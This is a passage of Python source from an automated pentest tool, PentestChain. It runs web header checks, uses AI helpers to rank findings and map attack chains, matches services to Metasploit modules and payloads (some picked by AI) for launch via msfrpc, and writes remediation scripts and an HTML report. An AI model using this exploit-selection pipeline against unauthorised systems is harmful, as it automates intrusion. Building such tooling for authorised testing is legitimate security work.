                nse_findings.setdefault("_xss_pocs", []).extend(xss_poc_found)
            else:
                emit_log(f"XSS scan done -> {ip}:{port} (no confirmed PoC)", "info")

            emit_log(f"header checks -> {ip}:{port} (CSRF/Clickjacking/SSRF indicators)", "run")
            hdr_out = run_cmd(
                f"curl -sk -o /dev/null -D - --max-time 10 {shlex.quote(url)}",
                timeout=15
            )
            headers_lower = hdr_out.lower()
            # Always add response headers as a finding for visibility
            hdr_lines = [l.strip() for l in hdr_out.splitlines() if l.strip() and ':' in l]
            if hdr_lines:
                findings.append(f"[HEADERS] Response headers for {url}: {'; '.join(hdr_lines[:10])}")
            # Clickjacking: missing X-Frame-Options or CSP frame-ancestors
            if "x-frame-options" not in headers_lower and "frame-ancestors" not in headers_lower:
                findings.append(f"[CLICKJACKING] Missing X-Frame-Options header — {url} may be frameable (vulnerable to clickjacking UI redress attack)")
            # CSRF: missing CSRF tokens flagged by absent SameSite cookie attribute
            if "set-cookie" in headers_lower and "samesite" not in headers_lower:
                findings.append(f"[CSRF] Cookies lack SameSite attribute — potential CSRF risk on {url}")
            # Missing security headers
            missing_hdrs = []
            for hdr in ("x-content-type-options", "x-xss-protection",
                        "strict-transport-security", "content-security-policy"):
                if hdr not in headers_lower:
                    missing_hdrs.append(hdr.upper())
            if missing_hdrs:
                findings.append(f"[HEADERS] Missing security headers: {', '.join(missing_hdrs)}")
            # SSRF indicators: look for open redirects / URL params in nikto output
            for line in nikto_out.splitlines():
                if any(k in line.lower() for k in ("redirect","open redirect","url=","ssrf","request forgery")):
                    findings.append(f"[SSRF/REDIRECT] {line.strip()}")
            emit_log(f"header checks done -> {ip}:{port}", "ok")

            if findings:
                existing = nse_findings.get(key, [])
                nse_findings[key] = existing + findings
                # Emit each finding with an AI-generated attack-chain impact.
                # Cap chain generation at 5 per service to preserve rate limits.
                chain_budget = 5
                for f_line in findings:
                    tag = f_line.split("]")[0].lstrip("[") if "]" in f_line else "WEB"
                    # Generate chain for high-value finding types
                    chain = None
                    if chain_budget > 0 and HAS_AI_HELPERS and any(k in f_line.lower() for k in (
                            "xss", "sqli", "inject", "rce", "traversal", "dirb",
                            "backup", "shell", "upload", "admin", "sensitive")):
                        try:
                            chain = ai_vuln_impact_chain(
                                title=f"[{tag}] {ip}:{port}",
                                output=f_line,
                                port=port, service_name=svc.get("service",""),
                                ip=ip,
                            )
                            chain_budget -= 1
                        except Exception:
                            chain = None
                    socketio.emit("nse_finding", {
                        "title":  f"[{tag}] {ip}:{port}",
                        "host":   ip, "port": port,
                        "output": f_line,
                        "impact_chain": chain,   # None → UI hides the section
                    })
                emit_log(f"Web scan: {len(findings)} issue(s) on {ip}:{port}", "vuln")

            web_ai = {}
            if HAS_AI_HELPERS and findings:
                try:
                    emit_log(f"AI → Analyzing web findings for {ip}:{port}, removing false positives...", "ai")
                    web_ai = claude_analyze_web_findings(
                        findings=findings,
                        url=url,
                        service_banner=svc.get("banner", ""),
                        dirb_paths=list(dirb_paths),
                    )
                    confirmed   = web_ai.get("confirmed", [])
                    filtered    = web_ai.get("false_positives", [])
                    impact      = web_ai.get("impact", "")
                    next_steps  = web_ai.get("next_steps", [])

                    emit_log(
                        f"AI web analysis {ip}:{port} → "
                        f"{len(confirmed)} confirmed, {len(filtered)} false positive(s) removed",
                        "ai"
                    )
                    if impact:
                        emit_log(f"Impact: {impact[:160]}", "vuln")
                    for step in next_steps[:3]:
                        emit_log(f"  Next: {step[:100]}", "info")

                    # Store per-port web analysis for the report
                    web_analysis[key] = web_ai
                    socketio.emit("ai_web_analysis", {"key": key, "analysis": web_ai})
                except Exception as _web_ai_err:
                    emit_log(f"Web AI analysis error for {key}: {_web_ai_err}", "warn")

            web_results[key] = {"nikto": nikto_out, "findings": findings, "ai_analysis": web_ai}

        with concurrent.futures.ThreadPoolExecutor(max_workers=3) as ex:
            futures = [ex.submit(do_web_scan, svc) for svc in web_svcs]
            for i, fut in enumerate(concurrent.futures.as_completed(futures)):
                try:
                    fut.result()
                except Exception as e:
                    emit_log(f"Web scan error: {e}", "warn")
                pct = 65 + int((i+1)/max(len(web_svcs),1)*10)
                emit_progress(pct, f"Web scans: {i+1}/{len(web_svcs)}")

        emit_progress(75, "Web scans complete")

        emit_log("Phase 6 — Exploit identification (msfrpcd interactive console)", "phase", phase=6)
        exploits = []

        # Determine target arch from OS string
        os_arch = "x64" if "64" in os_name or "x86_64" in os_name.lower() else "x86"

        for svc in services:
            key  = f"{svc['ip']}:{svc['port']}"
            hits = nse_findings.get(key, [])
            port = svc["port"]
            banner = svc.get("banner", "").lower()
            evidence = banner + " " + " ".join(hits).lower()

            # Match against EXPLOIT_MAP (same logic as gen_rc but NO .rc file)
            for (p, kw), (module, payload, needs_lhost) in EXPLOIT_MAP.items():
                if p != port:
                    continue
                if kw not in evidence:
                    continue
                # Found a matching exploit — store for interactive execution
                entry = {
                    **svc,
                    "module":      module,
                    "payload":     payload,
                    "needs_lhost": needs_lhost,
                    "rhost":       svc["ip"],
                    "rport":       int(port),
                    "rc":          "",  # NO .rc file — run via msfrpcd console
                }
                exploits.append(entry)
                emit_log(f"Exploit: {svc['ip']}:{port} → {module} (via msfrpcd console)", "vuln")
                break  # one exploit per service

        # Feature #4: AI picks a Metasploit module per service (NO .rc files).
        # The module + RHOSTS/RPORT are stored on `exploits[]` so the UI can
        # launch them via /api/smart_exploit which uses msfrpc.
        if HAS_AI_HELPERS:
            existing_modules = {e.get("module") for e in exploits}
            for svc in services:
                key = f"{svc['ip']}:{svc['port']}"
                try:
                    pick = ai_pick_exploit(svc, all_cves.get(key, []))
                except Exception as e:
                    emit_log(f"AI exploit picker error for {key}: {e}", "warn")
                    pick = None
                if not pick or pick.get("module") in existing_modules:
                    continue
                # Never list an exploit the installed Metasploit doesn't have —
                # that's what produced "fake" exploit cards that always failed
                # to load when fired.
                if not _is_real_msf_module(pick.get("module", "")):
                    emit_log(f"Skipped non-existent module for {key}: "
                             f"{pick.get('module')}", "warn")
                    continue
                entry = {
                    **svc,
                    "module":      pick["module"],
                    "payload":     pick.get("payload", ""),
                    "needs_lhost": bool(pick.get("needs_lhost", True)),
                    "reason":      pick.get("reason", "AI-selected"),
                    "rhost":       svc["ip"],
                    "rport":       int(svc["port"]),
                    "rc":          "",   # no .rc file — run via msfrpc
                }
                exploits.append(entry)
                existing_modules.add(pick["module"])
                emit_log(f"Smart-exploit: {key} → {pick['module']} (via msfrpc)", "ai")

        socketio.emit("exploit_ready", {"exploits": exploits})
        emit_stats(ports=len(open_ports), svcs=len(services),
                   crit=_n_crit_total, high=_n_high_total,
                   exps=len(exploits), risk=risk_score)
        emit_progress(82, f"{len(exploits)} exploit(s) identified (run via msfrpcd console)")

        emit_log("Phase 7 — Remediation script generation", "phase", phase=7)
        rem_scripts = {}

        for svc in services:
            port = svc["port"]
            ip   = svc["ip"]
            key  = f"{ip}:{port}"
            if port not in REMEDIATION_DB:
                continue

            rem = dict(REMEDIATION_DB[port])  # copy so we can add CVE context

            # Attach CVE IDs found for this service
            cve_list = all_cves.get(key, [])
            cve_ids  = ", ".join(c["id"] for c in cve_list[:5]) if cve_list else "N/A"
            rem["cve_ids"]  = cve_ids
            rem["ip"]       = ip
            rem["port"]     = port
            rem_scripts[key] = rem
            emit_log(f"Remediation: {rem['name']} on {ip}:{port} | CVEs: {cve_ids}", "ok")

        # Write Linux remediation script
        linux_lines = [
            "#!/bin/bash",
            "# PentestChain Auto-Generated Remediation Script — Linux/Debian",
            f"# Target: {target}  |  Generated: {ts}",
            "# Run as root: sudo bash remediate_linux.sh",
            "set -e",
            "",
            "echo '[*] Updating system packages...'",
            "apt-get update -y && apt-get upgrade -y",
            "",
        ]
        win_lines = [
            "# PentestChain Auto-Generated Remediation Script — Windows",
            f"# Target: {target}  |  Generated: {ts}",
            "# Run in PowerShell as Administrator",
            "",
            "Write-Host '[*] Installing Windows Updates...'",
            "if (-not (Get-Module -ListAvailable -Name PSWindowsUpdate)) {",
            "    Install-Module PSWindowsUpdate -Force -SkipPublisherCheck",
            "}",
            "Import-Module PSWindowsUpdate",
            "Install-WindowsUpdate -AcceptAll -AutoReboot",
            "",
        ]

        for key, rem in rem_scripts.items():
            cve_comment = f"# CVEs: {rem['cve_ids']}" if rem['cve_ids'] != "N/A" else ""
            section_header = f"\n# ══ {rem['name']} on {rem['ip']}:{rem['port']} ══"
            risk_comment   = f"# Risk: {rem['risk']}"
            fix_comment    = f"# Fix:  {rem['fix']}"

            cmd_linux = rem.get("cmd_linux","")
            cmd_win   = rem.get("cmd_windows","")

            if cmd_linux:
                linux_lines += [section_header, risk_comment, fix_comment]
                if cve_comment: linux_lines.append(cve_comment)
                linux_lines += cmd_linux.split("\n") + [""]

            if cmd_win:
                win_lines += [section_header, risk_comment, fix_comment]
                if cve_comment: win_lines.append(cve_comment)
                win_lines += cmd_win.split("\n") + [""]

        linux_lines.append('\necho "[+] Remediation complete. Reboot recommended."')
        win_lines.append('\nWrite-Host "[+] Remediation complete. Reboot recommended."')

        linux_path = f"{out_dir}/remediation/remediate_linux.sh"
        win_path   = f"{out_dir}/remediation/remediate_windows.ps1"

        with open(linux_path, "w") as f:
            f.write("\n".join(linux_lines) + "\n")
        with open(win_path, "w") as f:
            f.write("\n".join(win_lines) + "\n")

        emit_log(f"Remediation scripts written: {len(rem_scripts)} service(s) covered", "ok")
        socketio.emit("remediation", {"scripts": rem_scripts})

        # Re-emit ai_analysis with AI-powered reasoning + exploit + remediation
        try:
            ui_exploits_summary = [{
                "port":   e.get("port", ""),
                "module": e.get("module", ""),
                "reason": f"Matched {e.get('service','')} banner → {e.get('module','')}",
            } for e in exploits[:20]]
            ui_rem_summary = []
            for key, rem in rem_scripts.items():
                _host, _port = (key.split(":",1) + [""])[:2]
                ui_rem_summary.append({
                    "port": _port,
                    "explanation": f"{rem.get('name','')}: {rem.get('fix','')}"[:240],
                })
            ai_analysis["exploits"]    = ui_exploits_summary
            ai_analysis["remediation"] = ui_rem_summary

            # Use the AI narrative if available, fall back to rule-based
            if exec_summary.get("executive_summary"):
                ai_analysis["reasoning"] = exec_summary["executive_summary"]
            elif cve_analysis.get("risk_narrative"):
                ai_analysis["reasoning"] = cve_analysis["risk_narrative"]
            elif nse_analysis.get("summary"):
                ai_analysis["reasoning"] = nse_analysis["summary"]
            elif not ui_exploits_summary and not ui_rem_summary:
                ai_analysis["reasoning"] = "[No AI response] No matching exploits or remediations found."
            else:
                ai_analysis["reasoning"] = (
                    f"AI analysis: {len(ui_exploits_summary)} exploit match(es), "
                    f"{len(ui_rem_summary)} remediation(s) for {len(services)} service(s)."
                )
            ai_analysis["attack_path"]        = cve_analysis.get("attack_path", "")
            ai_analysis["overall_risk"]        = exec_summary.get("overall_risk", "")
            ai_analysis["nse_summary"]         = nse_analysis.get("summary", "")
            ai_analysis["top_cves_ranked"]     = cve_analysis.get("top_cves", [])
            socketio.emit("ai_analysis", {"analysis": ai_analysis})
        except Exception as _ai_re_err:
            print(f"[AI-REEMIT] {_ai_re_err}")

        emit_progress(90, "Remediation scripts saved")

        emit_log("Phase 9 — AI remediation plan with verification", "phase", phase=9)
        if HAS_REMEDIATOR:
            try:
                # Feature #4: remediation uses the fast-fail AI helper (ai_helpers),
                # not the legacy mcp_agent 4-retry path. We still pass it as an
                # optional callable so RemediationVerifier can invoke it per tier.
                ai_fn = None
                if HAS_AI_HELPERS:
                    try:
                        from ai_helpers import call_ai_fast as ai_fn  # type: ignore
                    except ImportError:
                        ai_fn = None
                rv = RemediationVerifier(
                    target=resolved,
                    services=services,
                    nse_findings=nse_findings,
                    all_cves=all_cves,
                    ssh_user=config.get("ssh_username", ""),
                    ssh_pass=config.get("ssh_password", ""),
                    ssh_port=int(config.get("ssh_port", 22)),
                    out_dir=out_dir,
                    emit_fn=lambda msg, lvl="info": emit_log(msg, lvl)
                )
                remediation_plan = rv.generate_plan(call_ai_fn=ai_fn)

                # Store verifier on scan_state so /api/apply_fix can reach it
                scan_state["remediation_verifier"] = rv
                scan_state["remediation_plan"]     = remediation_plan

                # Emit tiered plan to UI
                socketio.emit("remediation_plan", {"plan": [
                    {
                        "fix_id":      p["fix_id"],
                        "service_key": p["service_key"],
                        "product":     p["product"],
                        "version":     p["version"],
                        "cves":        p["cves"],
                        "tier_count":  len(p["tiers"]),
                        "tiers": [
                            {"tier": t["tier"], "label": t["label"], "name": t["name"],
                             "confidence": t.get("confidence", ""),
                             "linux_commands": t.get("linux_commands", [])[:3]}  # preview only
                            for t in p["tiers"]
                        ],
                        "status": p["status"],
                    }
                    for p in remediation_plan
                ]})
                emit_log(f"Phase 9 — {len(remediation_plan)} tiered fix plan(s) ready for approval", "ok")
            except Exception as e:
                emit_log(f"Phase 9 error: {e}", "warn")
        else:
            emit_log("Phase 9 skipped — remediation_verifier.py not available", "info")

        emit_progress(92, "Remediation plans generated")

        emit_log("Phase 8/10 — Report generation + enhanced exports", "phase", phase=8)
        flat_cves = []
        for key, cves in all_cves.items():
            for c in cves:
                flat_cves.append({**c, "service_key": key})
        flat_cves.sort(key=lambda x: x.get("score") or 0, reverse=True)

        n_crit = sum(1 for c in flat_cves if (c.get("score") or 0) >= 9)
        n_high = sum(1 for c in flat_cves if 7 <= (c.get("score") or 0) < 9)
        n_med  = sum(1 for c in flat_cves if 4 <= (c.get("score") or 0) < 7)

        # Aggregate web findings across all ports for the summary
        all_web_findings = []
        combined_web_analysis = {"confirmed": [], "false_positives": [], "impact": "", "next_steps": []}
        for _wkey, _wai in web_analysis.items():
            combined_web_analysis["confirmed"].extend(_wai.get("confirmed", []))
            combined_web_analysis["false_positives"].extend(_wai.get("false_positives", []))
            all_web_findings.extend(_wai.get("confirmed", []))

        if HAS_AI_HELPERS:
            try:
                emit_log("AI → Writing executive summary and compliance mapping...", "ai")
                exec_summary = claude_write_executive_summary(
                    target      = target,
                    services    = services,
                    flat_cves   = flat_cves,
                    nse_analysis= nse_analysis,
                    exploits    = exploits,
                    web_analysis= combined_web_analysis,
                    risk_score  = risk_score,
                    os_name     = os_name,
                    cve_analysis= cve_analysis,
                )
                emit_log(f"AI overall risk: {exec_summary.get('overall_risk','?')}", "ai")
                emit_log(f"Executive summary generated ({len(exec_summary.get('executive_summary',''))} chars)", "ai")
                socketio.emit("ai_executive_summary", {"summary": exec_summary})
            except Exception as _exec_ai_err:
                emit_log(f"Executive summary error: {_exec_ai_err}", "warn")
                exec_summary = {}

        def sev_color(score):
            if score is None: return "#555"
            if score >= 9:  return "#ff3355"
            if score >= 7:  return "#ff8800"
            if score >= 4:  return "#ffd700"
            return "#00ff88"

        _os_lower = os_name.lower()
        _is_linux   = any(k in _os_lower for k in ("linux","ubuntu","debian","kali","centos","fedora","rhel","unix","bsd"))
        _is_windows = any(k in _os_lower for k in ("windows","microsoft","win32","win64","server 20"))
        # Default to Linux if nmap didn't resolve (most lab targets are Linux)
        if not _is_linux and not _is_windows:
            _is_linux = True

        def _esc(s):
            return str(s or "").replace("&","&amp;").replace("<","&lt;").replace(">","&gt;").replace('"',"&quot;").replace("'","&#x27;")

        def _nvd_link(cve_id: str) -> str:
            """Return an anchor tag pointing to NVD for the given CVE ID."""
            return (
                '<a href="https://nvd.nist.gov/vuln/detail/' + _esc(cve_id) + '" target="_blank" '
                'style="color:var(--red);font-family:monospace;font-size:11px;text-decoration:none" '
                'onmouseover="this.style.textDecoration=\'underline\'" '
                'onmouseout="this.style.textDecoration=\'none\'">'
                + _esc(cve_id) + '</a>'
            )

        svc_rows = ""
        for s in services:
            key   = f"{s['ip']}:{s['port']}"
            hits  = nse_findings.get(key, [])
            cves_ = all_cves.get(key, [])
            nse_html = f'<span style="color:#ff8800">⚠ {len(hits)} finding(s)</span>' if hits else '<span style="color:#4a6080">—</span>'
            cve_html = " ".join(_nvd_link(c["id"]) for c in cves_[:3]) or '<span style="color:#4a6080">—</span>'
            svc_rows += f"""<tr>
              <td style="color:var(--acc)">{_esc(s["ip"])}</td>
              <td><code style="background:var(--bg3);color:var(--acc);padding:2px 8px;border-radius:2px">{s["port"]}</code></td>
              <td>{_esc(s["service"])}</td>
              <td style="color:var(--text2)">{_esc(s["banner"] or "—")}</td>
              <td>{cve_html}</td>
              <td>{nse_html}</td>
            </tr>"""

        cve_rows = ""
        for c in flat_cves[:30]:
            sc   = c.get("score")
            col  = sev_color(sc)
            sev  = c.get("severity","UNKNOWN")
            cid  = c["id"]
            cve_rows += f"""<tr>
              <td>{_nvd_link(cid)}</td>
              <td><span style="background:{col}22;color:{col};border:1px solid {col}44;padding:2px 8px;border-radius:2px;font-size:12px;font-weight:700">{sc or "?"}</span></td>
              <td><span style="color:{col};font-size:12px">{sev}</span></td>
              <td style="color:var(--text2);font-family:monospace;font-size:11px">{_esc(c.get("service_key",""))}</td>
              <td style="color:var(--text2);font-size:12px">{_esc(c.get("description","")[:120])}</td>
            </tr>"""

        rem_rows = ""
        # OS-specific: show only the relevant fix command column
        rem_hdr_extra = ('<th>Linux Fix Command</th>' if _is_linux else '<th>Windows Fix Command</th>')
        for key, rem in rem_scripts.items():
            cmd_l = (rem.get("cmd_linux","") or "").replace("\n","<br>")
            cmd_w = (rem.get("cmd_windows","") or "").replace("\n","<br>")
            fix_cmd = cmd_l if _is_linux else cmd_w
            fix_col = 'color:#00d4ff' if _is_linux else 'color:#a855f7'
            rem_rows += f"""<tr>
              <td style="color:var(--green);font-weight:700">{_esc(rem["name"])}</td>
              <td style="color:var(--acc);font-family:monospace;font-size:11px">{_esc(key)}</td>
              <td style="color:var(--orange);font-size:12px">{_esc(rem["risk"])}</td>
              <td style="font-size:12px">{_esc(rem["fix"])}</td>
              <td style="font-family:monospace;font-size:11px;color:var(--acc)">{fix_cmd or "—"}</td>
            </tr>"""

        exp_rows = ""
        for e in exploits:
            exp_rows += f"""<tr>
              <td style="color:var(--red)">⚡ {_esc(e["ip"])}:{e["port"]}</td>
              <td style="color:var(--orange);font-family:monospace;font-size:12px">{_esc(e.get("module",""))}</td>
              <td style="color:var(--text2);font-family:monospace;font-size:11px">{_esc(e.get("payload",""))}</td>
              <td style="font-family:monospace;font-size:10px;color:var(--muted)">{_esc(e.get("rc",""))}</td>
            </tr>"""

        web_finding_rows = ""
        web_finding_count = 0
        _tag_colors = {
            "NIKTO": "#ff8800", "SQLMAP": "#ff3355", "SQLI CONFIRMED": "#ff3355",
            "DIRB": "#a855f7", "XSS": "#ff3355", "XSS/DALFOX": "#ff3355",
            "XSS REFLECTED": "#ff3355", "XSS POC": "#ff3355",
            "WPSCAN": "#ff8800", "CLICKJACKING": "#ffd700", "CSRF": "#ffd700",
            "HEADERS": "#ffd700", "SSRF/REDIRECT": "#ff8800",
        }
        for nse_key, nse_hits in nse_findings.items():
            if nse_key.startswith("_"):
                continue
            for hit in nse_hits:
                tag = hit.split("]")[0].lstrip("[") if "]" in hit else "WEB"
                tag_col = _tag_colors.get(tag, "#8b949e")
                web_finding_rows += f"""<tr>
                  <td><span style="background:{tag_col}22;color:{tag_col};border:1px solid {tag_col}44;padding:2px 8px;border-radius:2px;font-size:11px;font-weight:700">{_esc(tag)}</span></td>
                  <td style="color:var(--acc);font-family:monospace;font-size:11px">{_esc(nse_key)}</td>
                  <td style="color:var(--text);font-size:12px">{_esc(hit[:200])}</td>
                </tr>"""
                web_finding_count += 1

        risk_pct = min(risk_score * 10, 100)
        risk_col = "#ff3355" if risk_score >= 7 else "#ff8800" if risk_score >= 4 else "#00ff88"


        exec_summary_html = ""
        if exec_summary:
            overall_risk    = exec_summary.get("overall_risk", "UNKNOWN")
            risk_color_map  = {"CRITICAL": "#ff3355", "HIGH": "#ff8800",
                               "MEDIUM": "#ffd700", "LOW": "#00ff88"}
            er_col          = risk_color_map.get(overall_risk, "#8b949e")
            exec_txt        = _esc(exec_summary.get("executive_summary", ""))
            conclusion_txt  = _esc(exec_summary.get("conclusion", ""))

            # Key findings rows
            kf_rows = ""
            sev_col_map = {"critical":"#ff3355","high":"#ff8800","medium":"#ffd700","low":"#00ff88"}
            for kf in (exec_summary.get("key_findings") or []):
                if not isinstance(kf, dict): continue
                sev  = kf.get("severity","").strip()
                scol = sev_col_map.get(sev.lower(), "#8b949e")
                kf_rows += (
                    f'<tr><td style="color:var(--acc);font-weight:700">{_esc(kf.get("title",""))}</td>'
                    f'<td><span style="color:{scol};font-weight:700">{_esc(sev).upper()}</span></td>'
                    f'<td style="color:var(--text2)">{_esc(kf.get("impact",""))}</td>'
                    f'<td style="color:var(--red);font-family:monospace;font-size:11px">'
                    f'{_esc(kf.get("cve","") or "—")}</td></tr>'
                )

            # Compliance mapping rows
            cm_rows = ""
            for cm in (exec_summary.get("compliance_mapping") or []):
                if not isinstance(cm, dict): continue
                cm_rows += (
                    f'<tr><td style="color:#8b949e;font-size:12px">{_esc(cm.get("finding",""))}</td>'
                    f'<td style="color:#ff8800;font-size:12px">{_esc(cm.get("owasp",""))}</td>'
                    f'<td style="color:#a855f7;font-family:monospace;font-size:11px">'
                    f'{_esc(cm.get("cwe",""))}</td></tr>'
                )

            # Attack path
            atk = _esc(cve_analysis.get("attack_path","") or nse_analysis.get("attack_path_hint",""))

            exec_summary_html = f"""
<div style="background:var(--bg2);border:1px solid {er_col}44;border-left:4px solid {er_col};
            border-radius:4px;padding:1.2rem;margin-bottom:1.5rem">
  <div style="display:flex;align-items:center;gap:1rem;margin-bottom:.8rem">
    <span style="font-size:.7rem;color:var(--muted);letter-spacing:2px;text-transform:uppercase">
      AI EXECUTIVE SUMMARY (AI-assisted analysis)
    </span>
    <span style="background:{er_col}22;color:{er_col};border:1px solid {er_col}44;
                 padding:2px 10px;border-radius:2px;font-size:12px;font-weight:700">
      {_esc(overall_risk)}
    </span>
  </div>
  <p style="color:var(--text);line-height:1.7;margin-bottom:.8rem">{exec_txt}</p>
  {'<div style="background:var(--bg);border:1px solid var(--border);border-radius:3px;padding:.8rem;margin:.8rem 0"><span style="color:var(--muted);font-size:.7rem;letter-spacing:1px">RECOMMENDED ATTACK PATH</span><p style="color:var(--orange);font-size:.85rem;margin-top:.3rem;font-family:monospace">' + atk + '</p></div>' if atk else ''}
  {('<h2 style="color:var(--acc);font-size:1rem;margin:1rem 0 .5rem">Key Findings</h2>'
    '<table><thead><tr><th>Finding</th><th>Severity</th><th>Impact</th><th>CVE</th></tr></thead>'
    f'<tbody>{kf_rows}</tbody></table>') if kf_rows else ''}
  {('<h2 style="color:var(--acc);font-size:1rem;margin:1rem 0 .5rem">Compliance Mapping</h2>'
    '<table><thead><tr><th>Finding</th><th>OWASP 2021</th><th>CWE</th></tr></thead>'
    f'<tbody>{cm_rows}</tbody></table>') if cm_rows else ''}
  {'<p style="color:var(--text2);font-size:.85rem;border-top:1px solid var(--border);margin-top:.8rem;padding-top:.8rem">' + _esc(conclusion_txt) + '</p>' if conclusion_txt else ''}
</div>"""

        html_report = f"""<!DOCTYPE html>
<html lang="en" data-theme="dark"><head>
<meta charset="UTF-8"><meta name="viewport" content="width=device-width,initial-scale=1">
<title>PentestChain Report — {target}</title>
<script>
(function(){{var s=localStorage.getItem('pm-rep-dark');if(s==='0')document.documentElement.setAttribute('data-theme','light');}})();
function toggleDark(){{var on=document.documentElement.getAttribute('data-theme')==='dark';document.documentElement.setAttribute('data-theme',on?'light':'dark');localStorage.setItem('pm-rep-dark',on?'0':'1');document.getElementById('dt-btn').textContent=on?'🌙':'☀️';}}
</script>
<style>
*{{box-sizing:border-box;margin:0;padding:0}}
:root,[data-theme="dark"]{{
  --bg:#0d1117;--bg2:#141c24;--bg3:#1a2332;
  --border:#1e2d3d;--text:#c8d6e5;--text2:#8b949e;--muted:#4a6080;
  --acc:#00d4ff;--red:#ff3355;--orange:#ff8800;--yellow:#ffd700;--green:#00ff88;--purple:#a855f7;
  --mono:'Consolas',monospace;
}}
[data-theme="light"]{{
  --bg:#f8fafc;--bg2:#ffffff;--bg3:#f1f5fb;
  --border:#d4dff5;--text:#1a2338;--text2:#4a5568;--muted:#8896b0;
  --acc:#1848d0;--red:#be0f28;--orange:#b84200;--yellow:#8a6000;--green:#0a7545;--purple:#5418b0;
}}
body{{background:var(--bg);color:var(--text);font-family:'Segoe UI',system-ui,sans-serif;padding:2rem;transition:background .2s,color .2s}}
h1{{color:var(--acc);font-size:1.8rem;margin-bottom:.3rem}}
h2{{color:var(--acc);font-size:1rem;margin:2rem 0 .8rem;border-bottom:1px solid var(--border);padding-bottom:.5rem;letter-spacing:2px;text-transform:uppercase}}
.meta{{color:var(--muted);font-size:.82rem;margin-bottom:1rem;font-family:var(--mono)}}
.toolbar{{display:flex;gap:.6rem;margin-bottom:1.5rem;flex-wrap:wrap;align-items:center}}
.btn{{padding:.4rem .9rem;border-radius:5px;border:1px solid var(--border);background:var(--bg2);color:var(--text);font-size:.8rem;cursor:pointer;text-decoration:none;display:inline-flex;align-items:center;gap:.3rem;transition:all .15s}}
.btn:hover{{background:var(--bg3);color:var(--acc);border-color:var(--acc)}}
.btn-primary{{background:var(--acc);color:#fff;border-color:var(--acc);font-weight:600}}
.btn-primary:hover{{opacity:.85;color:#fff}}
.grid{{display:grid;grid-template-columns:repeat(5,1fr);gap:1rem;margin-bottom:1.5rem}}
.stat{{background:var(--bg2);border:1px solid var(--border);border-radius:6px;padding:1rem;text-align:center}}
.stat .n{{font-size:2.2rem;font-weight:900;font-family:var(--mono)}}
.stat div:last-child{{color:var(--muted);font-size:.78rem;margin-top:.25rem}}
.risk-wrap{{display:flex;align-items:center;gap:1.5rem;background:var(--bg2);border:1px solid var(--border);border-radius:6px;padding:1rem;margin-bottom:1.5rem}}
.risk-n{{font-size:3rem;font-weight:900;font-family:var(--mono);color:{risk_col}}}
.risk-track{{flex:1;height:10px;background:var(--bg3);border-radius:5px;overflow:hidden}}
.risk-fill{{height:100%;background:linear-gradient(90deg,#00ff88,#ffd700,#ff8800,#ff3355);width:{risk_pct:.0f}%;border-radius:5px}}
table{{width:100%;border-collapse:collapse;font-size:.82rem;margin-bottom:1.5rem}}
th{{background:var(--bg2);padding:.6rem .8rem;text-align:left;color:var(--muted);font-size:.72rem;letter-spacing:1.5px;text-transform:uppercase;border-bottom:1px solid var(--border)}}
td{{padding:.5rem .8rem;border-bottom:1px solid var(--bg3)}}
tr:hover td{{background:var(--bg2)}}
code{{background:var(--bg3);padding:.1rem .4rem;border-radius:2px;font-size:.78rem;font-family:var(--mono)}}
.xss-sec{{background:var(--bg2);border:1px solid var(--red);border-left:4px solid var(--red);border-radius:6px;padding:1rem;margin-bottom:1.5rem}}
.xss-sec h2{{color:var(--red);border-color:rgba(255,51,85,.4)}}
.poc-row{{font-family:var(--mono);font-size:.75rem;margin:.3rem 0;word-break:break-all}}
</style></head><body>
<h1>🛡 PentestChain Pentest Report</h1>
<div class="meta">Target: <strong style="color:var(--acc)">{target}</strong> ({resolved}) &nbsp;·&nbsp; {ts} &nbsp;·&nbsp; OS: <em>{os_name}</em> &nbsp;·&nbsp; Ports: {ports} &nbsp;·&nbsp; AI: <span style="color:var(--purple)">AI-assisted</span></div>
<div class="toolbar">
  <a class="btn btn-primary" href="/api/report/docx" download>📄 Download DOCX</a>
  <a class="btn" href="/api/report/json" download>⬇ JSON Export</a>
  <button class="btn" id="dt-btn" onclick="toggleDark()" style="margin-left:auto">☀️ Light Mode</button>
</div>

{exec_summary_html}

<div class="grid">
  <div class="stat"><div class="n" style="color:var(--acc)">{len(services)}</div><div>Open Ports</div></div>
  <div class="stat"><div class="n" style="color:var(--red)">{n_crit}</div><div>Critical CVEs</div></div>
  <div class="stat"><div class="n" style="color:var(--orange)">{n_high}</div><div>High CVEs</div></div>
  <div class="stat"><div class="n" style="color:var(--yellow)">{n_med}</div><div>Medium CVEs</div></div>
  <div class="stat"><div class="n" style="color:var(--green)">{len(exploits)}</div><div>Exploits</div></div>
</div>

<div class="risk-wrap">
  <div><div style="font-size:.7rem;color:var(--muted);letter-spacing:1px;margin-bottom:.3rem">RISK SCORE</div>
  <div class="risk-n">{risk_score}</div><div style="color:var(--muted);font-size:.8rem">/10</div></div>
  <div style="flex:1"><div class="risk-track"><div class="risk-fill"></div></div>
  <div style="color:{risk_col};font-size:.85rem;margin-top:.4rem">{'CRITICAL RISK' if risk_score>=8 else 'HIGH RISK' if risk_score>=6 else 'MODERATE RISK' if risk_score>=3 else 'LOW RISK'}</div></div>
</div>

<h2>Open Services ({len(services)})</h2>
<table><thead><tr><th>IP</th><th>Port</th><th>Service</th><th>Version / Banner</th><th>CVEs (click to view)</th><th>NSE Findings</th></tr></thead>
<tbody>{svc_rows}</tbody></table>

<h2>CVE Intelligence ({len(flat_cves)} found)</h2>
<table><thead><tr><th>CVE ID ↗ NVD</th><th>CVSS</th><th>Severity</th><th>Service</th><th>Description</th></tr></thead>
<tbody>{cve_rows if cve_rows else '<tr><td colspan="5" style="color:var(--muted);text-align:center">No CVEs from NVD — check NSE Findings tab</td></tr>'}</tbody></table>

<h2>Exploit Scripts ({len(exploits)})</h2>
<table><thead><tr><th>Target</th><th>Module</th><th>Payload</th><th>RC File</th></tr></thead>
<tbody>{exp_rows if exp_rows else '<tr><td colspan="4" style="color:var(--muted)">No direct MSF module matches</td></tr>'}</tbody></table>

<h2>Web Scan Findings ({web_finding_count})</h2>
<table><thead><tr><th>Category</th><th>Host:Port</th><th>Details</th></tr></thead>
<tbody>{web_finding_rows if web_finding_rows else '<tr><td colspan="3" style="color:var(--muted);text-align:center">No web findings</td></tr>'}</tbody></table>

<h2>Remediation — {os_name} ({len(rem_scripts)} services)</h2>
<table><thead><tr><th>Service</th><th>Host:Port</th><th>Risk</th><th>Fix Summary</th>{rem_hdr_extra}</tr></thead>
